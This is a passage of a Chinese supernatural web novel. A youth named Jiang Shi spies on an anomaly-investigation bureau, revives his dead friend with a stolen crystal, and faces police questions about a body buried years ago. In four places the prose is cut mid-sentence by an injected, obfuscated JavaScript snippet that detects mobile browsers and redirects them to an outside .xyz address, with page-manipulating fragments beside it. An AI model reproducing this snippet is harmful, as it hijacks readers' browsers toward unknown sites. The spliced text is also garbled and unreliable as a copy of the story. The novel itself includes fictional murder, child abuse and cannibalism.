他还以为异常调查局这种名字,建筑肯定非常高大上,但是看起来似乎没有什么特别的,房子和墙看起来甚至有些陈旧了,看年份应该和幸福小区差不多。 医生很有耐心,一边和其他医生沟通一边还能抽出空回答江时的问题:“放心,只是一些常规检查,和你们平时体检差不多,只要结果没问题,马上就能回去了。” 和陈旧的墙面和建筑风格不同,房间用于检查的器械充满现代化科技气息,甚至让人有些担心这些昂贵设备这么放置会不会损坏,江时他们轮流进去,一人十分钟就完成了体检。 看起来调查局确实忙得飞起,医生刚把他们带进休息室里,就接到了通知有伤员需要手术。 他还没来得及坐下就马不停蹄地往外走,还不忘叮嘱几人:“你们就在休息室里等会儿,出结果了会有人过来,然后行政部会有人过来让你们签保密协议,签完他们就会带你们离开。” 不久后顾蕊也被带了进来。 “啊,憋死我了,总算是能说话了!”刚坐下顾蕊就忍不住了,“你们是不知道我有多难受!” “我觉得我更难受……”全程被顾蕊当做外置发声器,一晚上挨了好几十下的沈邱幽幽道。 顾蕊对着他翻了个白眼,然后看向江时:“江学弟,还没谢谢你救了我们呢。” “没事,”江时似乎是在出神,顾蕊开口的时候他愣了一下才说话,“在里面的时候是我硬要冒险,应该是我连累了你们才对。” 顾蕊和沈邱笑了笑没说话。 知道那两只异变存在后,他们上次白天在旧教学楼里拍摄遇到的种种诡异事件也就有了解释,晚上的时候那两只异变的附身对象更是针对性极强。 既然本来就是冲着他们来的,那就没道理把他们拖进那地方后还躲起来自己打架。 再加上叶其海见到江时后立刻跑了,他们都能猜到对方是在警惕谁,不过既然江时自己不想说,他们当然没必要硬让人承认。 经过这惊险一夜,转危为安的四人很快叽叽喳喳聊了起来,既好奇调查局这些行动组成员是不是都有超能力和他们捕捉异变生物时用的先进炫酷装备,又感慨姜鹤一家的遭遇,还得担心第五苏苏和赵启的安危,可见是非常忙碌了。 江时心不在焉地偶尔应和两句,免得自己看起来又不太合群,垂落在身侧的右手时不时勾动一下。 而江时却垂着头,只时不时应和一声。 此时在其他人的眼中,他的手上空空荡荡,但在江时自己眼中,他的右手上缠满了细密的黑色丝线,自小指不断向外延伸着。 阿毛的能力没什么强大的攻击力,除了标记定位外,就是监视窃听了。 调查局的其他人戒心太重,他都没法靠近他们,更别提做手脚,最后只能把丝线系在了黎钺身上。 不过黎钺看起来官职也不低,或许能让他听到些有用的东西。 江时狐狸似的眯了眯眼,用力掐了那根线一下…… “老大!”菲菲振奋地将报告递给黎钺,“这是‘白泽’给出的报告,文芜菁的领域是她自己的记忆,可以作为证据提交!” “疑似勾结茧,来路不明的感染源,甚至还有‘蚁后’!这下绝对可以彻查叶家!” “我觉得没那么顺利,”黎钺叹了口气,“之前怀疑叶家的人不少,但也只是怀疑阶段,更何况这段记忆里只涉及了叶其海和杜清清个人。” “也是,”菲菲也有些泄气,“他们运气还真好……” 明明过去十年里,有好几次都差点查到他们身上,但最后都会反过来证明叶家居然是清清白白的,调查局大部分人都动摇了,像她这样坚信叶家有问题的成了少数。 黎钺却摇摇头:“要真只是运气好那反而是好事。” 不过他没继续说下去,而是谈起另一件事:“但叶其海和杜清清居然和‘蚁后’有联系?所以最后他们的死其实是被黑吃黑了?” 当年“蚁后”刚开始犯案,正是调查局出了内鬼,将感染源和异能者之间的关系泄露出去不久。 于是ta狡猾地将自己的异能造物伪装成感染源的样子,像是昆虫散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664972|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发信息素影响其他个体一样对他人进行精神控制,异能等级甚至比茧的首领还高。 不过和那个首领不同,“蚁后”只对杀人感兴趣,这个代号也是ta自己某次行凶后留下的。 当年叶其海和杜清清的身上也发现了“蚁后”的黄水晶,大脑也有被异能进行精神干扰留下的痕迹,调查组根据现场勘查和法医的尸检报告,推测是“蚁后”分别对两人进行精神控制后再让他们自相残杀。 但“蚁后”近些年已经没再出现过了,这让人忍不住松了口气,但又时刻担忧。 虽然惨案暂时中止了,但一颗这样的定时炸弹就埋在某处,鬼知道ta会什么时候发疯再开始屠杀。 不过这事他们急也没用,菲菲又提起了另一件事:“两个B+级,一个A+,三枚高级感染源,他们又得扯皮了。” 对于异常调查局来说,就算是没有伤过人的异变暂时收容,也不可能让他们继续维持杀伤力巨大的高等级,基本上都会安排做移植手术,换成等级较低的感染源。 而换下来的感染源,就是制造像她这样的异能者的原材料。三个高级感染源就是三个高阶异能者,所有人都对此虎视眈眈。 黎钺也表示赞同,菲菲的异能真实之眼也才B级,所有行动组里,也不过仅有十个组长达到A级及以上。 倒不是高级异能者数量少,只不过异能也有分类,有些实在不是战斗类的,当然不能被分进行动组,还有些虽然能力强大还适合作战,但又不是只有行动组缺战斗人员,还给他们留了十个已经很给面子了。 聊着聊着两人突然就没声了,通过一系列复杂的身份验证后,面前的金属门打开,他们走进特制的电梯,往下沉入真正的调查局内。 随处可见的精密仪器和泛着银白色金属质感的墙壁地面,比上面看起来专业多了。 事实也确实如此,这里不仅是N市分局总部,也是用于限制或关押当地发现异变的地方,安保性绝对算得上顶尖。 江时透过缠在黎钺袖口扣子的黑色丝线看清了整个调查局的内部结构,忍不住在心里惊叹了好几声。 不愧是官方机构啊,看起来就很厉害,他甚至能感觉到阿毛的黑色丝线也被压制了,传回的图像和声音都变得不清晰。 进入这里后,两人一路无言走进了一间会议室找到自己位置坐下。 江时还挺好奇他们要开会讨论些什么的。 “会议开始。” 伴随着一阵毫无波动的机械音,江时后背突然汗毛倒竖,像是有什么危险的东西要盯上他了。 下一秒,江时当机立断将手上丝线掐断销毁! 好险避开了对方的感知,他下意识扶住面前的桌子,额头上沁出冷汗。 那东西是什么? 果然不该瞎好奇的,差点就被抓到了。 江时深吸了口气,算了,在人家地盘还是老实点儿吧。 不愧是官方机构啊,厉害的东西就是多。 “滴——” “白泽”突然又不出声了,会议室内的人面面相觑。 有人敲了敲桌试着询问:“‘白泽’?” 两秒后,“白泽”用它毫无波动的机械音继续开口:“正常检修系统延迟,会议继续,全程录像存档开启。” 15. 我的共犯 休息室里,刚才偷听险些被发现的江时心有余悸,还好他毁灭证据及时。 不过都偷听偷看一路了,为什么直到他们开始开会才被发觉…… 虽然并不是想搞什么破坏,但是秉持着微作不死的理念,他又勾动了无名指上系着的细线,循着那根线,江时又看到了另一幅场景。 文芜菁还是穿着那身红裙,被暂时安置在一间不知名的金属材料制成的房间里,还装了好几个监控器,确保没有死角。 不过她显然更习惯被吊起来,这才把后面床上的床单搓成了绳子吊在脖子上,对面则是一面显示屏,屏幕里有人在向她问话。 江时看了好一会儿,确定刚才那东西没有再出现发现他后,无聊地收回了附在丝线上的感知。 “江时你醒啦?”孙顾看趴在桌上的江时突然坐了起来,举起手里的牌,“一起打牌呗?” 这是他们在旁边柜子里发现的,实在太无聊了,又不知道什么时候才能走,他们只好自己找点儿事打发时间。 江时欣然同意,于是一群人重新发了牌。 “你们不害怕吗?”江时有点诧异,普通人的恢复能力有这么强大的吗? “其实之前还是挺害怕的,”秦青实话实说,“不过我检查完出来的时候,那个医生给了我一颗棒棒糖,接过糖之后,我突然就不害怕了。” 准确地说,他对今晚的回忆已经有些模糊了,明明才过去几小时,但秦青却总觉得那是大半年前发生的事了,当然就没那么害怕。 沈邱和孙顾则表示自己也是这样。 “我和你们不太一样,”顾蕊若有所思,“出来的时候,带我检查的医生笑着对我说,我是她见过最勇敢的人,居然一点儿也不害怕。” “其实我那时候想说还是很怕的,但突然就觉得,确实一点儿都不可怕……” “难道他们也和那些行动组的人一样,是异能者?”孙顾作为隐形中二病,对此非常激动。 “确实有可能。”江时赞同地点点头,心里却有些凝重。 他能模仿别人表现出害怕的样子,但不可能真的被吓到需要心理治疗,而调查局的医生显然也看出来了,所以并没有对他进行治疗。 还是吃了不了解这些异能者的亏。 虽然这点儿小瑕疵并不至于让他惹上麻烦,但江时对于自己的表演居然了纰漏这件事很不满。 “沈邱,你在想什么?”顾蕊没听见好友出声,扭头发现对方低着头。 沈邱眉头紧锁:“我在想,既然这些异变这么危险,为什么还不让普通人知道他们的存在,甚至我们还需要签保密协议?” 让大家都知道异变的存在,才能更好地避免普通人伤亡不是吗? “啧,”顾蕊摇摇头,“当然不行。” 和沈邱也是一个想法的孙顾和秦青一脸懵:“?” “作为面对异变差点被杀的普通人,你们当然会害怕,觉得自己拥有知情权就能顺利避开,”江时漫不经心地说,“但你们有没有注意到,文芜菁,叶其海,杜清清,他们都有一个共同点。” 沈邱很快反应过来:“他们都是死掉的人……” 他明白江时和顾蕊的意思了。 “啥?”孙顾依旧一脸懵。 “如果你有至亲挚爱意外亡故,甚至你自己就面临着死亡的威胁,这时候你知道有一种东西,能让他们从某种意义上活过来,”江时垂下眼,“你们会怎么做呢。” 文芜菁的父母为了儿女甚至可以违背良知公理,如果他们当年知道女儿变成异变可以活下来,就算清楚之后会变得人不人鬼不鬼,他们会拒绝吗? 孙顾不解:“能救人,这是大好事啊!” 秦青呵呵了两声:“你忘了我们在体艺馆的时候了?” 当时两只异变眼中的垂涎和贪婪恶意如有实质,看起来完全不觉得他们是同类,就连没有恶意的文学姐对活人态度都不算好。 如果被救活的人都会变成这个样子,死而复生真是一件好事吗? “除此之外,”江时淡淡地继续补充道,“普通人还好,也不一定会想吃人杀人,但要是那些穷凶极恶的罪犯呢,要是有人用这种方式复活他们怎么办?” 如果让那些本就丧尽天良的恶人获得超越常人的强大力量,会发生什么还用想吗。 就算异变凶残强大,但在死而复生的诱惑下,多少人会去主动寻找异变,试图私下研究他们从而得到死而复生的办法?更有甚者要是用其他人做实验呢? “别低估了有些人类的生存意志啊。”他笑着这样说。 这话让旁边四人都起了一身鸡皮疙瘩。 “江时,你这么说话,感觉……”秦青试图委婉,“有点不是很像人啊。” “啊,是吗?”江时歪着头眨了眨眼,然后虚心道歉,“我下次一定注意。” 四人:更不像人了…… —— 会议室里,会议桌最前面的是一名六十多岁的老人,也是总局派来监督调查的人。 他敲了敲桌面:“对这次的事件,大家都谈谈自己的看法吧。” “我觉得这件事首先有个疑点,”有人立即举手,“两个B+,是怎么重创一个A+级异变的?” “……”会议室立刻陷入冷场,没人接话。 “黎钺,你怎么看?”见没人敢吱声,魏老看向坐在会议桌末尾的黎钺。 黎钺摊了摊手:“那我就随便猜猜。” “当年她比其他两个更早感染,等级差距又大,按理说一打B+都不够她揍的,所以我觉得文芜菁十年都未孵化很可是那颗感染源本就残缺,导致她作为异变发育迟缓。” 也就是说并非受伤导致她的残缺,而是她本就残缺才会被两个等级远不如她的同类重创。 这话一出,大家都沉默了,其实大部分人心里都有数,只是不想承认。 目前全世界都仅有的几个案例里,A+级异变从感染到彻底孵化不超过三年,文芜菁却花了十年的时间才进入孵化期,这显然不正常。 但这就牵扯到另一个问题,用有残缺的感染源制造出的异能者,是否也是残缺的? 魏老环视一圈,看着这群老油条叹了口气,摆摆手干脆进入了下一个议题。 来路不明的高级感染源,再加上“茧”和“蚁后”。以此提出对叶家和杜家全部资产的彻查还需要走个程序,但对他们身边的亲人朋友进行调查是完全合理的。 安排完相关事宜,接着就来到了这场会议的重点——三枚高级感染源, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664973|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟应该如何分配? 按理说应该由当地分局分配,但人是七组救的,异变是七组抓的,支援是十一组送来的。分局现在还没说清楚十三组到底死哪儿去了,当然没有发言权。 就在他们吵得热火朝天的时候,外面突然响起了急促的敲门声。 魏老皱了皱眉:“‘白泽’,开门。” 会议室门应声而开,外面是一名穿着研究部制服的研究人员,对方气喘吁吁:“不、不好了,我们和医疗部分离感染源的时候发现、发现……” 他好不容易喘匀了一口气,语气慌乱地继续说:“那个A+级异变体内没有感染源存在!” “什么!”在场所有人都被惊得站了起来。 黎钺几乎是立刻就记起了他抓捕异变时,余光看见过文芜菁靠近江时的位置。 “‘白泽’!我们救出来那几个人呢?”黎钺想起菲菲说过江时是有段时间没和他们待在一起的,心底不详的预感愈发强烈。 要是让江时意识到这东西从某种意义上可以令死者复生,鬼知道他会不会为了让言扉复活搞出什么恐怖的事来! 毫无波动的电子音响起:“顾蕊、江时、秦青、孙顾、沈邱等人已确认辐射感染值未超标,身体检查报告正常,心理健康评估结果正常,已于三十分钟前离开。” 等了两秒后,电子音继续说:“未发现有人携带感染源离开调查局。” 明明没有任何语调起伏,却莫名能听出笃定的语气来。 作为调查局的总控系统,“白泽”是绝对不会说谎的。 但黎钺心只放下了一半,文芜菁解除领域后全程都在他们和“白泽”的监控下,S大也被“白泽”纳入高危警戒区,并没有发现异常。 那感染源会去哪儿了呢? —— 江时的心情非常好。 虽然今天运气不太好,没找到愿意接单载他的司机,不过这也可以理解。 于是江时转了好几趟公交,又走了四十多分钟才到达。 他如往常一般穿过自动开道的水泥墙。 走进小区的时候天已经彻底亮了,里面还是那副样子,到处是杂草和陈旧报废的设施,楼房外墙皮发黄脱落。 白天的时候这里总是荒凉无人的……不对,说无人也不太准确,反正一片死寂,只有到了晚上外面才会热闹起来。 江时按照和上次一模一样的路线,目不斜视地走向自己的目的地——那套暂时存放着言扉身体的房间。 他推开门的时候,小苏和阿毛乖乖地守在言扉身边,看到江时进来后很开心地站了起来。 江时挨个轻轻拍了拍他们的头,把路上买的小蛋糕递给两个小朋友,顺带还帮阿毛解开了缝住他嘴唇的丝线,塞到那双青紫色的小手中。 “辛苦了,你们可以先去玩儿了。” 阿毛和小苏高兴地分掉了一袋造型可爱的小蛋糕,蹦蹦跳跳地离开了403。 江时垂着眼看了会儿面前毫无声息躺着的人,那双温润的眉眼和天生带着笑意的唇上已经凝了层厚厚的白霜。 他从口袋里拿出那枚鸽子蛋大小的黑色宝石,对着窗外透进来的光欣赏了好一会儿,唇角的笑意愈发愉悦。 “你该醒过来了,我的共犯。” 16. 谁让你当谜语人的! 江时将那颗黑色的晶石放进言扉空荡荡的心口,看着被自己拆掉线后破开的洞口处皮肉飞速生长愈合。 他又等了好一会儿,等到自己都被冻得受不了打了个喷嚏,躺在床上毫无生息的人虽然身上尸斑还未消退,却终于睁开了眼。 言扉有些茫然地看着面前的一切,缓缓坐起,接着扭头看向了江时。 他眯了眯眼,像是在辨认对方的身份,好一会儿才开口:“江……时……” 总算醒了,江时立刻敲了敲旁边的墙壁,“它”顶着自己空洞洞的两只眼眶,像是自水面浮起一样,从旁边柜子投下的影子里钻了了个惨白的脑袋。 “可以恢复正常温度了。”江时对此已经习以为常。 “它”点点头又钻进了影子里,接着房间内温度开始逐渐回升。 “你到底怎么回事?”江时踹了他膝盖一下,“心脏居然被人挖了,差点儿就真的死了知不知道?” “对……不……起。”像是还不能很好地控制自己的唇舌,言扉说得很轻很慢。 江时哼了一声:“知道我为了给你找个东西替代心脏废了多大劲吗。” 他都好几个晚上没睡了! 一早上没吃东西,还在堪比冷库的房间里待到现在,好在小苏和阿毛两个小家伙还算有良心,分蛋糕的时候还记得给他留了一块路上被颠坏的。 江时两三口吃掉那块蛋糕后才发现,言扉居然就一直托着腮看他。 被江时抓到的时候,他还温柔地笑了笑,伸出手指点点腮边:“这里……沾到奶油……” “少扯别的,你怎么可能这么容易被人挖了心脏。”江时双手抱胸没好气道,“到底怎么回事?” 言扉歪了歪头,露出一个很无辜的表情。 “装可怜没用。”江时又踢了他膝盖一脚。 “不记得了……”言扉低下头认错,还不忘强调一遍,“真的!” 又来? 刚帮文芜菁找到她死因的江时简直没脾气,“那你还记得什么?” 言扉缓慢地眨了眨眼,似乎是在辨认他说了什么,好一会儿才开口:“回家要记得做糖醋排骨和椒盐鸡翅,江时说过想吃,还要记得买蔬菜,江时自己在家的时候不爱吃新鲜蔬菜。” 说完就乖巧又安静地看着他,那双温和的眼睛里满满写着求夸。 “……”江时无力地伸手捂脸。 完蛋,看起来是失智了。 似乎是察觉到了江时不高兴,言扉眯了眯眼又努力回忆了一会儿,继续慢吞吞道:“有很危险的大事快要发生了,会死很多人,要保护好江时……” “大事?”江时放下捂脸的手,疑惑地看着他。 如果有事情言扉知道而他不清楚,那只能是在工作的时候得知的。关于言扉的工作,他只知道是在一所研究所,至于工作内容究竟是做什么的,他听不懂也懒得问。 “是什么事?” 但言扉却没有要解释的意思,笑着伸手牵起他的右手,靠近自己刚长好的心口。 江时的指尖接触到他的皮肤时,那里突然变成一片阴影般的黑色,像是融化了一样,江时手指就这样直直插进了他的胸膛。 被放进去的那块黑色晶石已经被分解成了一团无形的能量,但很显然并没有像江时所设想的那样成功替代言扉失去的心脏。 江时失望地皱眉动了动手指,感觉到的阻力只比空气强一点。 难怪言扉醒来后会失智…… “……”两人都没有说话,细小的黑色枝丫像是触手般从言扉心口长出,又钻进了江时手腕的皮肉中,江时原本浅琉璃般的瞳色也变得漆黑如墨。 透过那些扎入他血肉的枝丫,江时看见“他”的面前出现一块的巨大蓝色光屏,上面是一副详细的华国地图,遍布着令人不安的鲜红色标识。 不过只有一副地图,江时也看不明白究竟什么意思。 但这应该不是什么保密信息,毕竟言扉进入研究所工作才半年多,只是个连实习期都没过的普通实验助理,压根接触不到什么机密。 接下来“他”关掉地图,又打开了一份档案,江时能感觉到,“他”似乎已经隐约意识到了里面是什么,心跳甚至因此加速…… 画面到这里就结束了,江时的手腕恢复正常,眼睛也恢复了原本的颜色,他将手从言扉胸膛抽出,若有所思道:“记忆共享?” 这是文芜菁的能力之一,言扉从前可从来没有过这种能力,看来是因为那颗晶石。 那段记忆中最后的档案显然很重要,但记忆到这里却断开了。 江时:“你刚才说是危险的大事,是因为看了那份档案?” “……”言扉松开手后就一直端端正正地安静坐着。 就算面对江时的问题,他只是保持着温和的笑容,始终一言不发。 意识到言扉压根没法回答,江时忍不住磨了磨牙。 到底是哪个杀千刀的变态杀人魔,杀了人还挖心,有本事这辈子都别让他逮到! 否则…… 江时眯了眯眼。 他就让那变态物理意义从世上消失!连完整的渣都不剩一粒! —— 与此同时,在华国边境的某座深山里。 二十多个或伤或残的男女身上绑满了匕首和枪械,手边也都放着趁手的家伙,正藏在一片茂密的树林中。 一名女性看到自己的断手又开始渗血,扭头怒骂同伴:“一群废物,连个小白脸都看不住!” 谁知道一个实习助理居然会知道研究所的“白泽”分系统核心位置和重启密码! 虽然完成了任务,但他们损失惨重,大半成员都折在了那里,一路躲藏才没被调查局的搜查组抓到。 另一个右耳被子弹打碎的男人也气得踹了旁边的树一脚。 看见树下蜷缩着休息的瘦弱男人时,他又咧嘴一笑,“说起来,老辛啊,那些人的心脏味道怎么样?” 旁边的其他人也纷纷起哄欢呼:“诶,那群高材生的心脏和普通人有区别没?” 这家伙是个变态异食癖,喜欢吞食人类心脏,这次袭击他们一个活口没留,一研究所的尸体可让他吃爽了。 “也就那样吧……”瘦弱男人敷衍了几句就拒绝交流蜷缩着睡了下去。 在这群人看不见的角度,他咬牙拼命控制自己不因恐惧和痛苦颤抖。 那天从研究所逃出来,他就隐约能感觉到有什么东西在他体内移动,从胃里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664974|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路到了心脏,他甚至能感觉到自己原本的心脏被它吞噬替代! 但那东西并不喜欢他这具身体,这几天里,瘦弱男人愈发清晰地感觉到它的不满和愤怒。 随之而来的,是他清晰感觉到,除了代替他心脏的那东西外,他自己的内脏正在一个接一个融化,像是在逐渐变成一具盛满液体的壳子,可他却依然没有死。 那东西甚至在维持他的生命,不肯让他这么轻松解脱…… 男人根本不敢告诉其他人,如果同伴知道他的异状,迎接他的不会是治疗,而是干脆的一枪毙命。 不能被发现,绝对不能…… —— 但这些事此时的江时当然不会知道,他正在头疼好不容易醒来却仿佛失智的竹马。 而言扉则一脸温顺乖巧,江时说什么他都乖乖听话,看起来人畜无害极了,除此以外好像对其他事情都一无所知。 “那你还记得家里保险柜密码和你银行卡的密码吗?”江时打算先确认下,这货究竟失智到了什么地步。 这次言扉非常果断地点了头:“保险柜密码是672*****7,银行卡密码是江时生日年月日倒过来。” 没彻底变成傻子就行,江时松了口气。 然后他就想起来,刚才在屏幕右下角有言扉看到那份资料和地图的时间,差不多是在半个月前,离他去世那天还有段时间,期间两人还通过话。 所以不存在言扉有什么要紧消息没来得及告诉他的情况。 江时冷笑一声,捏起言扉腮边的软肉用力往两边扯:“又不告诉我,打算自己解决?” 这货也不是第一次干这种事了,倒不是出于担心江时安全之类的原因,他们从小找死的次数就不少,否则也不会误入这里。 言扉只是太了解江时的秉性了,担心他太激动导致闹出的动静太大会引人注意而已。 不过现在的状况,显然言扉已经不可能瞒着他自己去玩儿了,此时江时的心情甚至比言扉重新睁开眼那一刻还要更加愉悦。 “你打算做什么?”江时兴致勃勃地靠近言扉,直视着他的眼睛,眼底都是兴奋。 这可比陪江家那群玩不过就耍赖破坏规则的家伙玩什么真假少爷的戏码有意思多了。 言扉乖乖地让他扯自己的脸,那双满是纵容的眼底映出江时此时兴奋的表情。 “江时现在很开心。”——他空茫茫的大脑中突然闪过这样一个念头,就像是某种本能。 江时现在很开心,要是拒绝江时的话,他就不开心了。 很快捋通了逻辑的言扉毫不犹豫地交代了:“找到他们。” “找到?谁?”江时顿时兴致缺缺,找人一点儿都不好玩。 “找到,和我们一样的,那些人……” 听到这话的江时脸上愉悦缓缓消散,浅淡的瞳色让他看起来有些冷淡:“和我们一样的人?” “找到他们,然后呢?” “然后……”言扉突然伸手捧住江时的脸,眼中的笑意温和依旧,“是秘密。” 江时:“……” 这货到底是不是真的失智,究竟谁教他当谜语人的?! 这个竹马不能要了,两块钱一斤谁爱要谁要吧。 17. 无名巷(一) “江时,江时?” 江时终于肯赏脸看向对面:“?” 江瞬笑了笑:“看你一直怎么叫都没反应,有点担心。我不知道你爱吃什么,就让他们上了今天的特供菜单。” 看着面前一桌的牛排鹅肝鱼子酱,江时也懒得和他解释自己从不吃西餐。 在其他人看来,江瞬是再完美不过的豪门贵公子,但其实这货是个沉浸在自己臆想中的剧本里难以自拔的神经病,所以江时从小就一直懒得搭理他。 巧的是江瞬也看他不顺眼,可他却却依旧坚持要按照自己的剧本,演一个虽然关系平淡却依旧爱护弟弟的好哥哥,只不过在江时看来肉眼可见地敷衍,也不知道究竟什么毛病。 可能是演了太多年,导致现在掰不过来还在把自己当江时的哥哥。 他直截了当问:“叫我出来干嘛?既然江成辉和江光的肾脏配上了,你现在不应该在操心江光的肾脏移植手术?江成辉可是你的亲弟弟。” 虽然他们都有提醒过江成辉,但这货满心都是想要继承豪门财产,而江光向他承诺,只要他答应器官捐献,江家的公司就交给他而非江瞬继承。 听到这话,江瞬笑了笑:“准确来说,是一半的亲弟弟。” “你和我的亲弟弟当初在医院被抱错是实话,但不知为什么,那个抱错孩子离开医院后就不知去向。” “至于他带回来的这个亲儿子……”江瞬笑得灿烂,其中意味不言而喻。 “那又关我什么事?”江时奇怪地看向江瞬。 这人真是一如既往地完全不配合他的剧本演,江瞬只好不爽地说正事:“江家旁边那栋别墅你还记得吧,原本是言家的,不过言扉父母过世后,被另一家人买了下来。” “最近他们翻修房子的时候,从喷泉地下发现了一个保险箱,里面是一具已经腐烂得只剩骨头的尸体,不过尸体手腕上戴着的一块限量版手表上有编号,按编号查到是江光十二年前买的定制款。” “虽然江光说那块手表刚买没多久就丢了,但是他那位现任江夫人可激动了,马上就确定了那是她失踪十二年的亲弟弟。” 至于为什么江光丢失的手表会在江夫人的弟弟手上,这属于他们家庭内务,并不重要。 江时还是面无表情:“哦。” 江瞬叹了口气:“你也知道,她一直认为她弟弟的失踪和你有关……” “虽然你那时候还不满七岁,而对方是个身高一米七八的成年男性,”江瞬双手一摊,“我就是提醒你一下,最近可能会有警察找你调查。” “谢了。”虽然江瞬大概只是为了给江家添堵,但确实是在提醒他。 “其实他失踪那天,我已经找母亲的朋友要了些致命的药物,如果不是我恰好犯病的话,本来是打算下在他喝的酒里来着。”江瞬动作利落地切开面前三分熟的牛排,饶有兴致地看着粉色的汁水流出来。 “很多年我才知道,人家给我的压根不是毒药,只是几片维生素C。” 江时像是连话都懒得听完,起身就要走。 江瞬也没拦他,只是继续说:“虽然没能用得上,但等我出院后,发现藏在柜子里的药片不见了。” “江时,你知道是谁动了它们吗?” 江时回过头,面无表情地扯了扯嘴角:“谁知道呢。” —— 【“顾大小姐”邀请你进入“大难不死必有后福群”】 【顾大小姐:大家记得把群昵称改成本名啊!】 坐在公交车上回家的江时百无聊赖地看他们聊天。 【姜鹤:?】 【沈邱:姜鹤你怎么样?】 江时也有点好奇。 昨天姜鹤没和他们一起离开,调查局的人说是姜鹤提出想和文芜菁聊聊。 【姜鹤:还好。】 这就是不想说的意思了,其他人也非常有眼色地不再追问。 【沈邱:江时,我告诉了赵启是你救了他。】 虽然江时不一定在乎,但赵启作为受益者不该不知情。 江时简洁地回了个句号示意自己知道了。 他确实不在乎,赵启和他本来就没有其他交集,只要不妨碍兼职工资到账,赵启对他有意见就有意见呗。 倒是孙顾和秦青替他鸣不平,在群里讨论应该怎么让赵启道歉才比较解气。 不过一群大学生聊着聊着就跑题了,眼看着话题已经偏了十万八千里,江时刚要把手机放回口袋里,来电铃声突然响起。 江时看了眼来电提醒后接通了电话:“喂?” “您好,这里是N市公安,请问是江时先生吗,我们希望能向您了解一些情况,请问您近期有时间吗?” 没想到来得这么快, “我今天就有时间,不过可以不去公安局吗?”江时想了想,“你们可以来我家里问话。” 大概是因为江时本来就不算什么重要证人,当年才六岁的他更谈不上有什么嫌疑,对面很快就同意了。 江时把他和言扉租的房子的地址报给了他们。 —— 半小时后,一名中年警察带着身后两名年轻警察走进电梯,按照江时说的地址按下楼层。 “真是太恶心了,”年轻男刑警忍不住一脸厌恶,“这种对小孩子下手变态简直死有余辜!” 旁边的女警也有些反胃:“我们居然还得帮他查凶手……” “楼月,何照!”中年男刑警严厉地看了二人一眼。 “本来就是啊吴队。”女警楼月嫌弃道,“这种畜生不如的东西居然能当小学老师,伤害了那么多孩子被举报后还有人替他摆平,让他逍遥法外好几年。” 何照没楼月胆子大,但也忍不住反驳:“要不是被人杀了,鬼知道这个死变态以后还会祸害多少小孩!” 被害人姐姐一口咬定弟弟遇害当天一定和继子待在一起,这话往深了一想,简直细思极恐啊! 一个有前科的炼铜变态,为什么会在去亲姐家做客的时候,单独和和姐姐六岁的继子待在一起? 想到这一层后,楼月和何照都忍不住暗暗庆幸。 虽然这样想有些违背他们的职业道德,但还好那天这禽兽被人杀了,要不然当年那个年幼无辜的男孩说不定就要惨遭毒手! “啊嚏!啊嚏!”已经不年幼的无辜男孩江时刚把家门口堆的一堆恐吓信件和包裹扔了。 他就半个多月没回来,家门差点就进不去了,房门和墙上也被人用油漆喷满了各种辱骂威胁话语,江时熟练地无视了它们,用钥匙开锁进了门。 至于当年的事,他确实没什么可说的。 当天晚上他唯一一次看见那家伙,对方就已经是一具脑浆都飚出来的尸体了,正躺在言扉家为了修喷泉挖出的大洞里,被人浇水泥埋了起来。 江时也不是故意隐瞒线索不告诉警方。 他那会儿六岁了都不会开口说话,江光他们都觉得他大概是先天智力有问题,当然也没人想过让他去学手语,所以警察问话的时候干脆就直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664975|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳过了江时。 直到那天他在后花园池塘边自闭,却碰巧遇见了言扉,两人成为朋友后又过了一年,他才终于能像正常人一样开口。 但江时大概是忘性比较大,到了可以说话的时候早就把这件事抛在脑后,要不是这次江瞬提起,他压根就想不起来自己当年还亲眼目睹过埋尸现场。 “笃笃。” 江时刚到家不久,外面就响起了敲门声。 三位警察显然外面涂鸦震惊了,不过江时已经习惯了这种疑惑又带着同情的目光,淡定地让他们进来。 